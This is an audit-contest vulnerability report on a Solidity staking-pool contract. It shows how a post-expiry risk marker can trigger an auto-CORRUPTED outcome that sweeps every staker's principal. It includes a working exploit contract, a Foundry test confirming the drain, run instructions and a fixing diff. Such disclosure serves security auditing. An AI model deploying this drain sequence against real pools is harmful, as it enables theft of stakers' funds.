BattleChain Confidence Pools
Cyfrin
FoundrySolidityLayer 2
7.25 ETH
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: medium

A post-expiry risk marker is reused as auto-CORRUPTED eligibility, allowing the entire pool to be swept

Author Revealed upon completion

Root + Impact

Description

  • Normal behavior

    A pool's `expiry` becomes immutable when the first stake is accepted and defines the end of the
    term that stakers agreed to underwrite. Staking closes at that timestamp and `claimExpired()`
    becomes available.
    ​
    The design intentionally permits a registry risk state to be observed after expiry. For bonus
    accounting, `_markRiskWindowStart()` caps that late observation to `expiry` so every staker on a
    SURVIVED/EXPIRED payout path has a zero-duration score and receives the documented amount-weighted
    fallback. This is valid: the capped value is an accounting timestamp, not the true time of the
    upstream transition.
    ​
    Separately, `claimExpired()` contains a punitive backstop. When the live registry is `CORRUPTED`,
    the 180-day moderator grace has elapsed, and a qualifying risk window was observed, the pool
    mechanically finalizes as bad-faith `CORRUPTED`. `claimCorrupted()` then transfers the entire pool
    balance to `recoveryAddress`.

  • Specific behaviour

`riskWindowStart` represents two facts that require different security semantics:
​
1. A timestamp capped at `expiry` for bonus-weight calculations.
2. Historical evidence authorizing the principal-forfeiting auto-CORRUPTED backstop.
​
`_observePoolState()` can first open the risk window after expiry. `_markRiskWindowStart()` then
stores `expiry`, erasing whether the observation occurred before or after the covered term.
`claimExpired()` checks only `riskWindowStart != 0`, so it interprets the post-term accounting marker
as proof that the punitive backstop was eligible.
​
An unresolved pool can therefore have `riskWindowStart == 0` when its term ends, enter active risk
only afterward, and be permissionlessly poked. Once the real registry later reaches `CORRUPTED`,
the backdated nonzero marker causes `claimExpired()` to finalize `CORRUPTED` instead of `EXPIRED`.
The entire remaining pool balance—principal, bonus, and donations—can then be swept.
​
Because the grace period is measured from `expiry` rather than from the late observation, a first
observation at `expiry + 180 days` makes the punitive branch immediately available.
Invariant violated
​
A post-term observation may remain capped to `expiry` for the documented bonus fallback, but it
must not create historical eligibility to forfeit principal.
​
A pool with `riskWindowStart == 0` at expiry must not become auto-CORRUPTED solely because active
risk is first observed at or after expiry.

Risk

The root cause spans `src/ConfidencePool.sol:793-815` and `src/ConfidencePool.sol:532-550`:
​
​
function _observePoolState()
internal
returns (IAttackRegistry.ContractState state)
{
state = _getAgreementState();
​
// Scope-locking logic omitted.
​
// @> Active risk can first be observed after the covered term.
// No time provenance is retained.
if (riskWindowStart == 0 && _isActiveRiskState(state)) {
_markRiskWindowStart();
}
​
if (riskWindowEnd == 0 && _isTerminalState(state)) {
_markRiskWindowEnd();
}
}
​
function _markRiskWindowStart() internal {
uint256 t = block.timestamp;
​
// @> Correct for bonus accounting, but this erases whether the
// observation occurred after expiry.
if (t > expiry) t = expiry;
​
// @> A first post-expiry observation becomes the nonzero value 'expiry'.
riskWindowStart = uint32(t);
​
sumStakeTime = totalEligibleStake * t;
sumStakeTimeSq = totalEligibleStake * t * t;
emit RiskWindowStarted(t);
}
​
// Inside claimExpired():
​
// @> The capped bonus marker is reused as the authorization gate.
// A nonzero value cannot distinguish an in-term observation from
// a first observation made after expiry.
if (
state == IAttackRegistry.ContractState.CORRUPTED
&& riskWindowStart != 0
) {
if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
revert AgreementCorruptedAwaitingModerator();
}
​
outcome = PoolStates.Outcome.CORRUPTED;
outcomeFlaggedAt = riskWindowEnd;
corruptedReserve = snapshotTotalStaked + snapshotTotalBonus;
claimsStarted = true;
emit OutcomeFlagged(
address(0),
PoolStates.Outcome.CORRUPTED,
false,
address(0)
);
return;
}
​
​
The cap does not cause the bug by itself. The unsafe operation is reusing that deliberately capped
bonus timestamp as authorization to forfeit principal.

Attack Path

1. Alice stakes `100e18` tokens and Carol contributes `50e18` bonus tokens.
2. The pool reaches `expiry` with `riskWindowStart == 0` and remains unresolved through the
180-day moderator grace.
3. After the term and grace, the agreement owner requests attack mode through the real registry:
`NOT_DEPLOYED -> ATTACK_REQUESTED`.
4. The trusted registry moderator performs an ordinary approval:
`ATTACK_REQUESTED -> UNDER_ATTACK`. The approval authorizes a current attack; it does not attest
that the expired pool previously observed risk.
5. The agreement owner transfers its real-registry attack-moderator role to a helper contract.
6. In one transaction, the helper calls `pokeRiskWindow()`. The actual observation is post-term,
but `riskWindowStart` becomes `expiry`.
7. The helper calls the real registry's `markCorrupted()`, producing the valid
`UNDER_ATTACK -> CORRUPTED` transition.
8. The helper calls `claimExpired()`. The nonzero backdated marker selects mechanical bad-faith
`CORRUPTED` and immediately sets `claimsStarted = true`.
9. The helper calls `claimCorrupted()`. The complete `150e18` pool balance moves to the
sponsor-selected `recoveryAddress`; Alice receives zero.
​
The helper's `markCorrupted()` call proves that the decisive tail can be atomic; false corruption
reporting is not required for the bug. A genuine post-term corruption, honestly persisted by the
agreement attack moderator or registry DAO, creates the same live `CORRUPTED` state and the same
incorrect pool outcome.

Why this is not an accepted Design.md behaviour

This report does **not** dispute any of the following documented choices:
​
- Anyone may call `pokeRiskWindow()`.
- Registry state is read live on the first resolving `claimExpired()` call.
- A backstop whose gate was legitimately established during the covered term is scope-blind and
staker-pessimistic after the 180-day grace.
- A first risk observation at or after expiry may set `riskWindowStart == expiry` so the bonus uses
the amount-weighted zero-score fallback.
​
The defect is the semantic collision between the last two bullets. A marker intentionally retained
for post-expiry **bonus accounting** is also accepted as historical authorization to confiscate
**principal**. The pool had no risk marker when the covered term ended; the principal-forfeiture
gate is created only afterward.
​
This is not a request to checkpoint the registry exactly at expiry. `claimExpired()` may continue
using the live registry state. It only needs to distinguish an in-term observation
(`riskWindowStart < expiry`) from a marker first created at or after the end of the term
(`riskWindowStart == expiry`).
​
The harm exceeds the accepted first-observation timing residual. That residual may redistribute a
fixed bonus pot; this issue irreversibly redirects all unclaimed principal.
​

Likelihood: -> Medium

- The vulnerable state occurs when a funded pool remains `UNRESOLVED` through
`expiry + 180 days` and no active-risk observation was persisted before expiry.
- `claimExpired()` is permissionless at expiry, so stakers have an opportunity to finalize sooner.
This long-inactivity requirement materially constrains exploitation and prevents a High
likelihood rating.
- The state is nevertheless reachable: the protocol has no mandatory keeper, outsiders receive no
resolution reward, and inactive stakers are not automatically settled.
- The exact pinned BattleChain registry permits a new attack request and approval after the pool
term. No impossible mock-only transition is used.
- A malicious pool sponsor is within the stated attacker model. It controls the agreement, is
installed as the agreement attack moderator during request/registration, and selected the pool's
recovery address.
- The real-registry request also requires
`agreement.getCantChangeUntil() >= block.timestamp + MIN_COMMITMENT`. The PoC satisfies this
ordinary reachability prerequisite with `type(uint256).max`; a production agreement must retain
the same required commitment horizon.
- Honest registry-moderator approval is still required. No registry administrator, DAO, outcome
moderator, factory owner, or token compromise is required.
- Once the post-term `UNDER_ATTACK` state exists, the decisive
`poke -> markCorrupted -> claimExpired -> claimCorrupted` sequence is atomic, permissionless
except for the helper's valid attack-moderator call, and requires no capital beyond any ordinary
registry fee or bond configured for the request.

Impact: -> High

- Every remaining staker loses 100% of their principal.
- The full bonus pot and any direct token donations are swept with the principal.
- `claimCorrupted()` transfers the entire current token balance, not a bounded reward or only the
caller's position.
- The recipient is the sponsor-selected `recoveryAddress`. A sponsor that controls that address
directly receives the redirected assets.
- `claimExpired()` sets `claimsStarted = true` before the sweep, so the pool moderator cannot
correct the outcome.
- There is no reversal or later staker claim path. The loss is final for each affected pool.

Proof of Concept

​
​
​
​
contract PostExpiryAttackModerator {
IAttackRegistry internal immutable registry;
ConfidencePool internal immutable pool;
address internal immutable agreement;
​
constructor(
IAttackRegistry registry_,
ConfidencePool pool_,
address agreement_
) {
registry = registry_;
pool = pool_;
agreement = agreement_;
}
​
function execute() external {
// First active-risk observation occurs only after the pool term.
pool.pokeRiskWindow();
​
// Valid real-registry UNDER_ATTACK -> CORRUPTED transition.
registry.markCorrupted(agreement);
​
// The backdated nonzero marker selects auto-CORRUPTED.
pool.claimExpired();
​
// Sweep the complete pool balance.
pool.claimCorrupted();
}
}
​
function test_C_F01RealRegistryAtomicPostExpiryConfiscation()
external
{
_stake(alice, 100 * ONE);
_contributeBonus(carol, 50 * ONE);
​
uint256 expiryTs = pool.expiry();
​
// The pool term and grace end without any active-risk observation.
vm.warp(
expiryTs + pool.MODERATOR_CORRUPTED_GRACE()
);
​
// Exact real-registry route:
// NOT_DEPLOYED -> ATTACK_REQUESTED -> UNDER_ATTACK.
_enterUnderAttack();
assertEq(pool.riskWindowStart(), 0);
​
PostExpiryAttackModerator helper =
new PostExpiryAttackModerator(
attackRegistry,
pool,
address(agreement)
);
​
vm.prank(sponsor);
attackRegistry.transferAttackModerator(
address(agreement),
address(helper)
);
​
uint256 recoveryBefore = token.balanceOf(recovery);
​
// poke -> markCorrupted -> claimExpired -> claimCorrupted
helper.execute();
​
assertEq(
uint256(
attackRegistry.getAgreementState(
address(agreement)
)
),
uint256(
IAttackRegistry.ContractState.CORRUPTED
)
);
​
// The real observation was post-term, but both markers equal expiry.
assertEq(pool.riskWindowStart(), expiryTs);
assertEq(pool.riskWindowEnd(), expiryTs);
assertEq(
uint256(pool.outcome()),
uint256(PoolStates.Outcome.CORRUPTED)
);
assertTrue(pool.claimsStarted());
​
// All victim principal and bonus move to recovery.
assertEq(
token.balanceOf(recovery) - recoveryBefore,
150 * ONE
);
assertEq(token.balanceOf(address(pool)), 0);
assertEq(token.balanceOf(alice), 0);
}
​
​
### Run instructions
​
Prepare the exact dependency artifact, then run the single test:
​
```bash
(cd lib/battlechain-safe-harbor-contracts \
&& forge build --skip test --skip script)
​
mkdir -p out/RealAttackRegistry.sol
​
cp \
lib/battlechain-safe-harbor-contracts/out/AttackRegistry.sol/AttackRegistry.json \
out/RealAttackRegistry.sol/AttackRegistry.json
​
forge test \
--match-test test_C_F01RealRegistryAtomicPostExpiryConfiscation \
-vvvv
```
​
### Observed result
​
```text
[PASS] test_C_F01RealRegistryAtomicPostExpiryConfiscation()
Suite result: ok. 1 passed; 0 failed; 0 skipped
```
​
​

Recommended Mitigation

Preserve `riskWindowStart == expiry` for the documented post-expiry amount-weighted bonus fallback,
but do not accept that value as proof of in-term backstop eligibility.
​
Because `_markRiskWindowStart()` caps every observation made at or after expiry to exactly `expiry`,
the existing state distinguishes the two cases without changing bonus behavior:
​
```diff
- if (
- state == IAttackRegistry.ContractState.CORRUPTED
- && riskWindowStart != 0
- ) {
+ // A value equal to expiry was first observed at or after
+ // the end of the covered term. Keep it for bonus accounting,
+ // but do not let it authorize principal forfeiture.
+ bool observedRiskWithinPoolTerm =
+ riskWindowStart != 0 && riskWindowStart < expiry;
+
+ if (
+ state == IAttackRegistry.ContractState.CORRUPTED
+ && observedRiskWithinPoolTerm
+ ) {
```
​
A separate `observedRiskWithinPoolTerm` storage latch is also valid when it is set only during an
active-risk observation with `block.timestamp < expiry`. The capped bonus timestamp and punitive
eligibility must remain independent.
​
This change preserves:
​
- Permissionless post-expiry observation.
- `riskWindowStart == expiry` and the amount-weighted bonus fallback.
- Live registry reads during `claimExpired()`.
- The existing scope-blind backstop for a risk observation genuinely persisted before expiry.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!